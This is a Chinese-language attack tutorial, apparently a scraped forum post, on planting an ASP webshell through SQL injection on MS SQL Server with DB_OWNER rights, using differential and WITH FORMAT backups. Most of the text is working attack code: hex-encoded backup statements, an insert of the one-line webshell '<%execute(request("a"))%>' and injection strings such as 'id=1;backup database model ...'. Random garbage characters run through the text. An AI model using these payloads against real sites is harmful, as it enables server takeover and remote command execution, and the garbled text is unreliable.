DB_OWNER权限得到webshell的两点改进:/ _8 i% ]: n/ _1 } N
$ n x4 m4 p# s/ x5 k减少备份文件大小,得到可执行的webshell成功率提高不少
2 O8 E/ |: b$ W4 D7 I* S4 t# A一利用差异备份
7 S# {) [( W/ i0 C7 b7 B3 V3 A8 }2 ]加一个参数WITH DIFFERENTIAL! W$ ^! @' T7 h' p& Y. p
5 _2 J; t# X( V, S. q$ a' R
1
, V- M* a( ?, j) o+ f3 V2
: U* H9 j$ ?! X# w) ]3% t# {6 C6 w0 g6 D8 h8 Z% _* s# `
4
* p. o9 x4 @$ | declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! N e+ D) |9 C' @% hcreate table [dbo].[xiaolu] ([cmd] [image]);
6 w) z; P7 Z/ [; x' @) {0 q& finsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# g z/ l; M7 v" k2 bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL " ^+ h2 Z3 b1 K1 H% |$ i! T
% ^" P) ?/ {$ {: s
二利用完全FORMAT4 f8 { r- a4 u9 A
加一个参数WITH FROMAT, W& `. i/ ~- m! [7 E) M9 Q0 l
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以% z8 U- _ T" L( O0 @) B
: t6 [, ^9 a, j! `& {9 l
1
% t5 R4 S8 v: Z( M2( D5 b; G( ^8 J0 \
3
$ J! N2 W9 W5 b. h) _4
# l9 a& a* [, n9 c; T declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' w& ^5 O/ x) b% J( L, e1 fcreate table [dbo].[xiaolu] ([cmd] [image]);: i9 U( S# j1 y. D
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)' S! |, M' ~5 ~8 \$ B1 N! _
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT / Q) g- c5 w- F1 B
9 v' ]% ?7 X; `" [5 l: U总的来说就是那么简单几句,下面以备份数据库model为例子
~+ {# f# m! n, g$ T6 I1
, n3 S" B7 ^1 \9 P& K$ A1 D/ ?5 S2 I5 r
1
0 R2 G2 t2 `+ _* k- k' R id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
* f; [( _1 _/ G! Q% v
) J+ O4 \" D: ]% {! H' r) n2! k9 d4 F C9 ?: Y" a
\6 K3 Q X3 {/ f: S+ f' Y- ?8 y* y1# J2 m; o# i+ N
id=1;backup database model to disk='你的路径‘ with differential,format;-- # y1 Z) |; d* b6 H& s
|